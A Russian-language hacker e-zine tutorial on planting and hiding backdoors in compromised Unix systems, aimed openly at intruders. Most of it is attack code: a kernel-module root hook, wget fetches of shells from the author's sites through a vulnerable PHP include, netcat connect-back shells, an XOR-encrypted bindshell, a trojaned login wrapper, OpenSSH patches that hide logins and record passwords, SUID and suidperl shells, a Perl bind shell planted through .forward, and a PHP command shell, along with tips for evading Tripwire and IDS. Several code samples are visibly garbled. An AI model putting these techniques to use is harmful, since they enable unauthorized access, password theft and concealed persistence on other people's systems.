[+]-----------------------------------------------[+]
| *nix-бэкдоры в подробностях |
| |
|Методы забэкдоривания систем, написание бэкдоров,|
| протроянивание демонов и работа с бэкдорами |
| |
| Автор: _1nf3ct0r_ |
| (dr.pascal@mail.ru) |
| _ _ _ _ _ __ _ _ _ |
| | || |___| | | |/ /_ _ (_)__ _| |_| |_ ___ |
| | __ / -_) | | ' <| ' \| / _` | ' \ _(_-< |
| |_||_\___|_|_|_|\_\_||_|_\__, |_||_\__/__/ |
| |___/ |
| |
[+]-----------------------------------------------[+]

[Вступление]

В этой статье я хотел бы рассказать о принципах работы с бэкдорами в *nix-like осях и их частичное написание. Сразу
скажу - первая часть статьи расчитана на новичков. Для начала разбереся, что такое бэкдор и с чем его едят. Бэкдор -
слово, безусловно, красивое. С английского ("BackDoor") - переводится как "потайная дверь". Бэкдоры используются
хакерами для несанкционированного доступа к определенному компьютеру - иными словами - запасной вход во взломанную
систему. В приципе, бэкдором можно назвать и троян, который в любой момент может предоставить шелл доступ к файловой
системе. Самое подавляющее большинство бэкдоров работает под ОС Windows, но как ясно из названия статьи - все, что мы 
будем разбирать будет под *nix-like ОС. Также, для дальнейшего чтения статьи требуутся хоть какое-то знание кодинга
под *nix или английского языка, чтобы дословно понять исходник :). И, конечно же, самих *nix-like систем :)
Вот план нашей работы:

[1] Введение в бэкдоры
[2] Написание бэкдоров
[3] Протроянивание демонов
[4] Другие аспекты 'бэкдоринга'

Так как я обещал рассказать о *nix-бэкдорах, то не буду терять драгоценное время - поехали!

:: Wait... Loading... Done.
:: Connecting to user's brain... Done.
:: Begin copying new information? YES/NO.
:: > yes
:: Loading new information...

[Введение в бэкдоры]

Бэкдоры в unix-системе можно разделить на два типа:
- удаленный
- локальный
Каждый из этих двух типов можно разделить еще на несколько.
Удаленный бэкдор - это бэкдор, который может предоставить шелл к машине удаленно
Локальный бэкдор - бэкдор, который предоставит какие-то привелегии локально.
Вообщем, сказать тут "пару слов" не получится и если ты еще не спишь, то предлагаю разобраться подробнее.

- Local-backdoor - локальный бэкдор

Так как бэкдор - это потайная дверь, то не обязательно это может быть удаленный доступ к серверу - может быть и
локальный. Вот, например, хакер имел законные привелегии обычного пользователя в ОС linux . Некоторые директории были
закрыты от его любопытных глаз. Не долго думая, хаксор натравил на старую версию linux'a 2.4.3 всем уже до боли известный
эксплойт ptrace (в описании бага в ядре linux'a думаю, ты не нуждаешься :)) и порутал тачку. Осталось закрепиться в
системе. Конечно, можно отснифать пароль, затроянить бинарники, попробывать расшифровать /etc/shadow, но вход под
аккаунтом root будет логироваться везде - достаточно админу выполнить команду last и он увидить, что пока он вчера пил
пиво с соседом, кто-то из под его учетки шарился по системе и т.д, системы IDS слежения за целостностью файлов будут
трещать - tripwire не спит. Но зачем лишний гемор? Хакер сделает проще. С помощью нехитроой LKM и перехватом системных
вызовов, его uid (пусть будет 31337) при входе в систему будет меняться на uid=0 (uid рута). Этот метод "uid-changer"
был описан мной в статье "Троянизация Тукса - операция TooxKit". Он будет перехватывать системный вызов systemuid() в
linux ветках 2.4.x, и если идентификатор пользователя будет равен 31337, то ему присвайвается uid, равный нулю, тем
самым пользователь с uid'ом = 31337 сможет выполнять команды из под учетной записи root:

o-------------// uid_changer backdoor \\------------------o
/* UID_CHANGER BackDoor 4 Linux 2.4.x by _1nf3ct0r_ */
#define __KERNEL__
#define MODULE
#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
#include <sys/syscall.h>
#include <linux/sched.h>
#include <linux/types.h>

int new_setuid(uid_t);
int (*real_setuid) (uid_t);
extern void *sys_call_table[];

int init_module ()
{
register struct module *mp asm("$ebx");
*(char *) (mp->name) = 'd'; *char(char *) (mp->name+1) = 's';
*(char *) (mp->name+2) = '2'; *char(char *) (mp->name+3)= '\0';
real_setuid = sys_call_table[ SYS_setuid ];
sys_call_table[ SYS_setuid ] = (void *)new_setuid;
return 0;
}

int int cleanup_module()
{
if (uid == 31337 )
{
current->uid=0; current->gid=0;
current->euid=0; current->egid=0
return 0;
}
return (*real_setuid) (uid);
}
MODULE_LICENSE("GPL");
o-------------// uid_changer backdoor \\------------------o

Если тебе стала интерсена данная тема (non-kernel & LKM rootkits), то своетую прочитать мою статью "Троянизация Тукса".
Теперь о удаленных бэкдорах ;)

- Remote backdoor - удаленный бэкдор

Данный тип бэкдоров самый распростарненный. Их можно разделить на 2 подтипа - "Bind Shell" и "Connect Back".
Оба они отличаются друг от друга принципом предоставления шелл-доступа. Будем разбирать на примерах.
Хакер сумел выполнить команду через бажный php-скрипт (как он выполнил - не суть важно) и тем самым получил привелегии
nobody. Одна половина хакеров использует PHP-шеллы (мне лично они удобны только для навигацией по системе), а другая
половина больше любит консоль (к этим я и отношусь). У первой половины проблем не возникает (safe-mode и т.д - не в счет)
 - закачал шелл, назвал его как-нить config.php, засунул куда подальше и жди пока админ его найдет... А вторая половина
сделает так (допустим есть wget, perl, никаких фильтраций нет...):
(бэкдор - bindshell.pl. Настроен на 4000 порт)

http://includer.ru/top.php?header=http://1nf3ct0r.nm.ru/1/cmd.php&cmd=wget –O bindshell.pl 1nf3ct0r.nm.ru/1/bindshell.pl;
Бэкдор закачается. Далее мы его запускаем (perl) и можем приконнектиться на 40000 порт, получив полноценный шелл и юзая
консоль :)) - это BindShell. Но вроде бы все ничего. Но этот метод проходит только тогда, когда файрвола не режет
соединения с тачкой. "А если режет? Как мы обойдем файрвол" - спросишь ты. То тогда мы воспользуемся не
Bind Shell-бэкдорами а... правильно, Connect Back - бэкдорами, которые обходят файрвол по следующему принципу:
Бэкдор попытается сам приконнектится к клиенту, который слушает n'ый порт (доупстим, тот же netcat) и тем самым обходит
файрвол. Немного переделаем прошлый пример - допустим есть wget, gcc, никаких фильтраций нет (бэкдор - connectback.c.
Настроен на 4000 порт):

http://includer.ru/top.php?header=http://1nf3ct0r/hack/cmd.php&cmd=wget –O connectback.c http://1nf3ct0r/1/connectback.c;
Бэкдор закачается. Мы его скомпилим (GCC) и запустим с параметрами ./cbd 123.456.78.90, где 123.456.78.90 - IP-адрес
машины, в которую должен стункуть бэкдор (будь то хоть взломанная тачка или твоя машина (хоть с Windows)). Для начала
надо скачать утилиту netcat (искать на web-hack.ru - там под windows- и unix- системы). Установив netcat, запускаем:

nc -l -p 4000
или
nc –vv –l –p4000

NetCat будет слушать 4000 порт и бэкдор сам подключится к тебе, тем самым обойдя файрвол :)
Не буду заставлять тебя применять гугль - вот код самого бэкдора "Digit-Labs Connect-Back Backdoor" - он был избран
мной (и не только) уже давно, поэтому его можно отнести к "джентельменскому набору" - http://1nf3ct0r.nm.ru/hack/bdw.c
Кстати говоря, NetCat можно использовать также в качестве бэкдора и она имеет сотни методов применения ;)
Но это всего лишь nobody бэкдор. Root'овые бэкдоры не особо сильно отличаются от nobody-бэкдоров, но все же мы их
рассмотрим чуть далее ;)
На этом, пожалуй, все. Мы рассмотерли основы использвоания *nix-бэкдоров, думаю, вопросов не осталось, так как все
было рассказано сверх-подробно. Перейдем к более серьезному - написание продвинутых бэкдоров с использованием
шифрованиия траффика, ICMP-WakeUp-технологию, технологию сокрытия бэкдора от IDS и т.д. Вообщем, не вешай нос, нас ждут
великие дела :) Теперь будем разбирать Nobody Bind-Shell XORing traffic бэкдоры. Итак, начнем...

[Продвинутые бэкдоры]

Любой грамотный администратор никогда не будет полнстью доверять какому-нибудь антивирусу для никсов или IDS для поиска
руткитов (например, chrootkit, rkhunter), чтобы найти в системе руткит или бэкдор - он прибегнет к помощи сниферов и IDS
(тот же Snort), остлеживающих траффик. От IDS еще можно укрыться, а вот от сниффера - никуды. Что делать? Да,
использовать шифрование траффика! Для этого можно использовать разные алгоритмы шифрования траффика - BlowFish, TwoFish,
xTea, IDEA или тот же XOR. Такой бэкдор мы сейчас же напишем с тобой! Но не стоит забывать, что даже самый глупый админ
заметит утечку гигабайтного траффика :)
Для начала напишем TCP XORing bindshell backdoor - бэкдор, ксорящий данные от сервера до клиента для сокрытия трафика
от IDS и биндящий шелл на заданном порту. В языке C шифрование XOR исполняется оператором ^. Наш байт XOR шифрования
будет объявлен констаной code (const code = 0x07;), а порт будет биндиться на 31337 порту (port = 31337). Первое, что
надо сделать в бэкдоре... нет, не объявить инклуды и переменные, а написать функцию "ввода/вывода", которая бы
передавала данные от командного интерпретатора до клиента:

if (FD_ISSET(pipes2[0],&fds)) {
lens = read(pipes2[0], bufs, 2000);
if ((lens <= 0) && (lens != -4)) break;

Это, естесственно, не вся функция ввода/вывод, просто кусок кода, на который следовало бы обратить внимание :)
Как я уже отметил выше, главное в бэкдорах, использующих шифрование трафика - кодирование и декодирование данных
серверной и клиентской частью, код которого мы сейчас и напишем:

Шифруем данные перед отправкой (const code = 0x07;):

for(i=0;i<lens;i++)
*(bufs+i) ^= code; // ^ - XOR, code = 0x07
if (write(sock2,bufs, lens)<0) break;

А вот дешифрацию данных будем прводить так:

for(i=0;i<lens;i++)
*(bufs+i) ^= code;
if (write(pipes1[1], bufs, lens)<0) break;

Далее все очень просто:
- Отправлять серверной части пароль при коннекте с клиентской
- Получив заветный пароль, серверная часть принимается за его проверку.
- Затем наш бэкдор будет слушать порт 31337 и прикннекте на него запустит командный
интерпретатор (по дефолту - /bin/sh). Все это не так сложно, поверь мне :).

Псоле того, как мы написали серверную часть бэкдора, мы должны написать клиентскую - куда ж без нее?
Работать все будет по следующему принципу:
Клиентская часть запускается с параметрами [TCP/UDP-протокол] [Хост] [Порт] [Пароль].
Далее мы будем подключаться к серверу:

if (pr) // TCP
if (connect(sock,(struct sockaddr *) &sin, sz)<0){ // Подключаемся
perror("[-] connect()"); // Облом :(
exit(0);

и если нас не постиг "Облом :(", то переходим к следующему этапу - проверка пароля серверной частью. Все!
Если пасс верный - мы подключились. Далее снова идут ф-ии шифрации и дешифрации и окончане кода:

// Зашифровываем данные...
for(i=0;i<lens;i++)
*(bufs+i) ^= code ;
if (pr) lens = write(sock,bufs, lens); // Считываем
else lens = sendto(sock, bufs, lens, 0, (struct sockaddr *)&sin, sz); // Отправляем
printf("read/send\n");
if (lens<0) {perror("send()|write()"); break;} // Облом ;(
// ...
// Декодируем данные
for(i=0;i<lens;i++)
*(bufs+i) ^= code;
if (write(1, bufs, lens)<0) {perror("write()"); break;}
// ...

Вообщем, все работает как часы - зашифровываем данные - передаем на расшифровку от клиента к серверу и наоборот.
Остальное - стандартные функции бэкдора. Я думаю, что здесь все ясно - достаточно знать основы программирования,
а остальное интутитивно понятно...
Теперь разберем написание рутовых connect-back XORing traffic backdoors ;)

[Протрояненные демоны? Легко!]

Также одним из самых популярных методов 'бэкдоринга' является протроянивание демонов ;)

- ImapD / Qpopd / Login - троян

Сейчас мы напишем с тобой бэкдор для imapd / qpopd / login - демонов и треующий пасс в течении 3 секунд, использующий
пароль "HellKnights" для входа в систему.

o-------------//simple root-backdoor for imapd / qpopd / login\\------------------o
#define REALPATH "/bin/.login" // Реальный путь к демону. По умолчанию login
#define TROJAN "/bin/login" // Путь к троянЦцЦу
#define PASS "HellKnights" // Пароль для трояна
char **execute;
char passwd[7];
int main(int argc, char *argv[]) {
void connection();
signal(SIGALRM,connection);
alarm(3); //Лимит времени для ввода пасса
execute=argv;
*execute=TROJAN;
scanf("%s",passwd);
if(strcmp(passwd,PASS)==0) {
alarm(0);
execl("/bin/sh","/bin/sh","-i",0); // Командный интерпретатор для вызова
exit(0);
}
else
{
execv(REALPATH,execute);
exit(0);
}
}
void connection()
{
execv(REALPATH,execute);
exit(0);
}
o-------------//simple root-backdoor for imapd / qpopd / login.\\------------------o

- Троянизация SSH-демона в качестве бэкдора

Итак... определяем версию демона ssh (на моем шелле - OpenSSH 3.7.1) и скачиваем его исходняки.
Открываем auth-passwd.c, будет примерно такой код:
o-------------//Здоровый SSH\\------------------o
...
char *encrypted_password = xcrypt(password, (pw_password[0] && pw_password[1]) ? pw_password : "xx");
/* код, отвечающий за хэширование пароля */
return (strcmp(encrypted_password, pw_password)) && ok; /* Затрояниваем тут */
...
int /* далее идет ф-ция login_login(), которую мы протрояним */
login_login (struct logininfo *li)
{
li->type = LTYPE_LOGIN;
return login_write(li);
}
...
int /* далее идет ф-ция login_logout(), которую мы протрояним */
login_logout (struct logininfo *li)
{
li->type = LTYPE_LOGIN;
return login_write(li);
}
o-------------//Здоровый SSH\\------------------o
И изменяем как тут:
o-------------//Затрояненный SSH\\------------------o
int nolog;
nolog: extern /* описываем переменныую в начанле кода */
...
if(strcmp(password,"hellknights") == 0) nolog=1;
char *encrypted_password = xcrypt(password, (pw_password[0] && pw_password[1]) ? pw_password : "xx");
...
/* троянизируем ф-цию login_login () */
int
login_login (struct logininfo *li)
{
if (nolog == 1) { return 1;}
else
{
li->type = LTYPE_LOGIN;
return login_write(li);}
}
...
int /* троянизируем ф-цию login_logout () */
login_logout (struct logininfo *li)
{
if (nolog == 1) { return 1;}
else
{
li->type = LTYPE_LOGIN;
return login_write(li);}
}
o-------------//Затрояненный SSH\\------------------o

После такой троянизации мы будем полностью невидимы в системе, но IDS, следящие за целостность файлов (наподобии Tripwire)
сразу засекут такой бэкдор. Также мы будем светиться в netstat-листах и не сможем обойти файрвол, но честно говоря,
такой метод я использовал много раз на системах, где не было Tripwire и все проходило на "ура!"

- Троянизация SSH для перехвата пароля

Ну и наконец, стандартный метод, связанный с протрояниванием SSH-демона, чтобы стырить рутовый пасс.
Взламываем тачку и устанавливаем на нее снифер, который нюхает пассы по SSH - допустим, модифицирует /bin/ssh и все
логирует ;). В данный момент протрояненных SSH особо в сети не наблюдается (даже не знаю почему ;)), а те, что я
постоянно вижу - сделаны специально для старых версий SSH (old-school понимаешь ли). Вот некоторый стандартный метод:
Итак, достаем дистрибутив OpenSSH и находим файл sshconnect1.c (вроде так называется) и добавляем в него следующий
вредоносный код, после строчки 'snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",server_user, host);':

o----------// Протрояненный SSH ;) \\-------------o
ifile=fopen("/etc/temp.old","a");
fprintf(ifile,"session %s %s\n",server_user,host);
fclose(ifile);

“password = read_passphrase(prompt, 0);”
ifile=fopen("/etc/temp.old ","a");
fprintf(ifile,"password is %s\n",password);
fclose(ifile);
o----------// Протрояненный SSH ;) \\-------------o

Все. Получив рутовый пасс от SSH ты можешь и не париться с бэкдорами. Но есть одно "НО!". Не стоит недооценивать админов,
так как на самого умного найдется еще умнее и т.д. Он с легкостью изменит пасс и залатает дыры в системе. Это, конечно,
не всегда, но имей ввиду ;)
На этом я думаю, можно остановиться, так как рассказывать более о протроянивании демонов бессмысленно - в конце статьи я
 привел ссылки на статьи, посвященные протрояниванию демонов.

[Другие методы бэкдоринга]

Теперь давай рассмотрим другие методы, с помощь которых хакер может забэкдорить систему:

- Копируя командный интерпретатор с привелегиями рута
Самый, наверное, простой способ - скопировать рутовый командный интерпретатор (допустим, sh: cp /bin/sh /tmp) в какую
нибудь забугорную папку (да такую, чтобы и для nobody к ней доступ был) и установить на нее права доступа 4555
(chmod 4555 /tmp/COMINTER). Но! В последних версиях sh - это просто линк на интерпретатор bash. Так, что придется юзать
интерпретаторы csh или ksh

- SUID-Perl бэкдор
SuidPerl – это perl-скрипт, на котором установлены права доступа SUID. “Ну и что? Что из этого?” – спросишь ты. А я
отвечу: если на исполняемом файл установлены пара доступа SUID, то файл, при запуске получит права не запустившего его,
а права владельца файла. Ты понимаешь, о чем я? Нет? Тогда слушай дальше… Получив n’ые привелегии, например, root мы
засуидим его и будем выполнять через него команды. Для этого вбивай в него такую строку:
system("юникс_команда");
Все. Палевно, конечно, но все-таки…
Здесь есть еще одна тонкость:
Насколько ты знаешь, suid perl обрабатывается специальным интерпретатором /usr/bin/suidperl и хитрые программеры системы
предусмотрели некоторые опасные ситуации по отношению к этому файлу - интерпретатор проверяет suid perl на наличие
опасных команд. Чтобы обойти данную фичу стоит лишь припаять флаг U:
#!/usr/bin/suidperl -U
Или, может, ты захотел работать через засуиженный pl-скрипт все время? Без проблем:

#!/usr/bin/suidperl -U
while(1) {
print "1nf3ct0r# ";
$cmd=<>;
chomp($cmd);
$out=`$cmd`;
print $out;
}

- Создать нехитрый бинарник, дающий рутовые привелегии ;)

Допустим у тебя есть _не_ рутовый доступ к системе, но ты уже сломал учетную запись рута и хочешь закрепить свои
привелегии, да и очень просто. Допустим, мы незаконный юзер системы и имеем nobody привелегии. Итак, сначало мы юзаем
root'овый аккаунт для компиляции сишника givemeroot.c (для чего он нужен - потом ;)):

main()
{
setuid(0);
setgid(0);
system("/bin/bash");
}

Как видно из кода, программа установит на uid=0 и gid=0, а также даст полноценный доступ к интерпретатору bash с
привелегиями root. Дальнейший ход действий:
Компилируем
#gcc root-kroot.c -O /tmp/conf
и прячем в какую-нибдуь папку (у меня в /tmp/) и подальше. Выставляем права доступа 4755 (chmod 4755 /tmp/conf).
Теперь покидаем рутовый акк и коннектимся к nobody бэкдору. Проникли в систему, а теперь запускай откомпиленый сишник
и получай root'a ;)

- Доверенные "хвосты" %)

Огромное количество демонов (к примеруm rshd, sshd) при коннекте используют файлы .rhost, .rhost (uid=0 auth),
/etc/host.equiv, .shosts. Бляагодаря этим файлам, некоторые доверенные хосты (их прописывает админ) могут "пройти" без
аутентификации :) А если в этих неугодных для админа файлах будут присутствовть два плюса ( + +), то на сервак сможет
пройти любой хост без аутентификации :)
Получив привелегии рута, нам ничего не стоит добавить туда какой-нибудь забугорный шелл и коннектиться, допустим, к SSH
к порутанной тачке с него :) Добавив в него IP-адрес хоста или домен, можно обойти пароль также:
#echo 'ALL: 123.456.78.90' >> /etc/hosts.allow
Вот и все :)

- SMTPd .forward бэкдор
Это один из самых менее известных (менее описанных) способов для "забэкдоривания" системы, в чем его плюс ;)
Если ты знакток unix-систем и изучал работу почтовых демонов, то знаешь, что демоны smtpd, sendmail и postfix
(да и не только они, многие. Просто эти самые распространенные), используют информацию из файла .forward какого-то
пользователя (он находится в домашнем какталоге пользователя, например /home/1nf3ct0r/) при отправки сообщения.
"Ну и что?" - скажешь ты. Так вот, этот неприметный файлик - лакомый кусочек для хакера, так как он позволяет передавать
письма email'a в совершенно другое место, а также может быть использован для запуска программы на взломанной тачке!
Итак, смотрим (будет, что-то вроде этого):

1nf3ct0r@washacked$ cat .forward
"|IFS=' ' && exec /usr/bin/_командный_интерпретатор_ // так будет выглядеть forward, настроенный на запуск программы
1nf3ct0r@washacked.ru // так будет при отправки писем

Теперь мы модифицируем этот файл:

|"cp /bin/csh /home/1nf3ct0r/washacked ; chmod 755 /home/1nf3ct0r/washacked"|

Мы сделали следующее: благодаря такой строчке мы скопировали командный интерпритатор csh в домашний каталог юзера
и установили права доступа 755 (исполняемый файл)

Ну, что, понимаешь к чему я клоню? С помощью такой фичи мы сможем выполнять команды на серваке через мыло!
Если мы пошлем письмо на 1nf3ct0r@washacked.ru, создаётся файл washacked в домашнем каталоге пользователя:

$ mail -s NIX-RAT 1nf3ct0r@washacked.ru
Your system was Hacked ;)
$
You have mail in /var/mail/1nf3ct0r
$ ls /home/1nf3ct0r/washacked
washacked
$

Просек фичу?
Давай теперь отправим в .forward код perl'ового бэкдора:

$ echo "#!/usr/bin/perl use Socket;$p=31337;socket(S,PF_INET,SOCK_STREAM,
getprotobyname('tcp'));setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($p,INADDR_ANY)); listen(S,50);while(1){accept(X,S);
if(!($pid=fork)){if(!defined $pid){exit(0);}open STDIN,"<&X";open STDOUT,">&X";
open STDERR,">&X";exec("/bin/csh");close X; }}" >> .forward

Таким вот методом мы забэкдорили систему и сможем выполнять команды через мэйл :)
Всегда имей этот метод на заметку, уверен - он тебе еще не один раз понадобится...

- Добавление новых учетных записей
Самый палевный метод, но часто проходит на многопользовательских системах. Создается учетная запись и пароль к ней
(добавляем пользователя (echo 'что добавить' >> в какой файл) в /etc/passwd - логин, id, gid, командный интерпретатор и
в /etc/shadow - захэшированный пасс и логин), как будто ты и есть законный юзер системы :)

- PHP'шный бэкдор ;)
Ну и самый тупой метод - залить на серв (куда подальше) php-шелл, который, впринципе, тоже можно назвать бэкдором :).
Кстати, если добавить в 'законный' PHP-скрипт такой код:

<?
echo "<h4><pre>";
system($cmd);
echo "</pre></h4>"
?>

то врядли его кто-нибудь найдет, кроме какой-нибудь IDS типа TripWire ;) Это к размышлению...
Кстати, если добавить в 'законный' PHP-скрипт такой код, то врядли его кто-нибудь найдет, кроме какой-нибудь
IDS типа TripWire ;) Это так, к размышлению...

[Невидимость бэкдоров]

Итак... Давай теперь рассмотрим, некоторые методы для невидимости нашего бэкдора:
- Обход Файрвола
Данный метод поможет обойти файрвол. Без комментариев. Написание мы рассматривали выше.
- Технология ICMP-wakeup
Чем хорош этот метод? Да тем, что он бэкдор откроет порт или приконнектится сам к хакеру, не держа открытых портов.
Вот, к примеру, утилитка ICMP-shell:
Во-первых, программа работает при помощи протокола ICMP (ну естественно), в ICMP-пакеты "втуливаются" наши команды,
а серверная часть их обрабатывает и выполняет. Это достаточно удобно, так как ICMP-пакеты почти всегда обрабатываются
сервером (конечно, если файрвол не режет все icmp-пакеты):

Теперь, как это выглядит на практике:
// Запускаем ICMP-shell на сервере c привелегиями root, так как он использует RAW-сокеты.
server# ishd -i 31337 -t 8
// Запустили. идентификатор - 31337, тип ICMP-пакета - 8 (echo). Идентификатор нужен
// для того, чтобы серверная часть ICMP-шелла распознавала пакеты хакера.

// Теперь запускается клиентская часть:
client# ish -i 31337 -t 8 victim.org
Connecting to victim.org...done.

// Узнаем, "кто мы":
#whoami
root

С ICMP-shell мы разобрались - ты уже понял к чему я клоню...
Но не все так прото! У icmp-wakeup бэкдоров есть существенный недостаток – то, что затрояненую тачку вполне реально можно
будет захватить :) Очень интересная статья по этому поводу есть в Defaced E-Zine #5 “

- Шифрование Траффика
Данный метод поможет защититься от админских IDS и снифферов с помощью шифрования трафика. Написание
такого чуда мы рассматривали выше.
- Скрытие Процессы, установленных соединений, файлов и т.д
мы рассматривать не будем - просто немного не та тема, так как это уже про руткиты ;/
Но сразу скажу - стелсировать можно:
- Социальной Инженерией
Этот метод подразумевает назвать процесс именем system и ему подобным, файлы спрятать в системные папаки и назвать
их тоже
соответствующе :)
- Банальной троянизацией
Троянизируются системные утилиты, такие как: dir, encrypt, find, ifconfig, login, ls, lsof, lsof, md5sum, netstat,
pg, ps, pstree, slocate, syslogd, sz, tkp, tks, tksb, top итд
для сокрытия своего присутствия. Не совсем актуально, если на серваке стоят IDS наподобии TripWire
- Ядерной руткитизацией ;)
Данный метод считатется самым респектабельным и эффективным, так как сокрытие производится на уровне ядра с помощью
LKM - подгружаемых модулей ядра и бэкдор будет полностью невидимым в системе, за исключением самого модуля, который
тоже можно скрыть каким нибудь хитроумным методом или просто назвать модуль системным именем - тогда администратор на
90% не решится убить его.

[Заключение]

Что я не рассказал? Да много чего! Напимер о бэкдоринге XinetD, о руткитах и т.д. Бэкдоринг и невидимость в
*nix-системах в действительности настолько необъятная тема, что даже эта cтатья при всей ее обширности не затрагивает
и половины видимой части айсберга, не говоря уже о той глыбе, что спрятана под водой. Но об этом как ни будь в
другой раз…

А также, хочу заметить, что протроянивание систем - дело уголовно наказуемое (имхо, статья 273 УК), а если ты еще и
сломал систему, прежде чем затроянить, то, это уже 2 статьи - 272 и 273... Удачи тебе, не попадайся!

p.s: если статья вам чем-то помогла и дала какие-то новые познания, то я действительно рад :)
p.p.s: а если, что-то было не ясно в коде - то прошу обратиться к учебникам по C/C++, так как я не говорил,
что знания этих языков не понадобятся :)

(c) Hell Knights Crew
Автор:
_1nf3ct0r_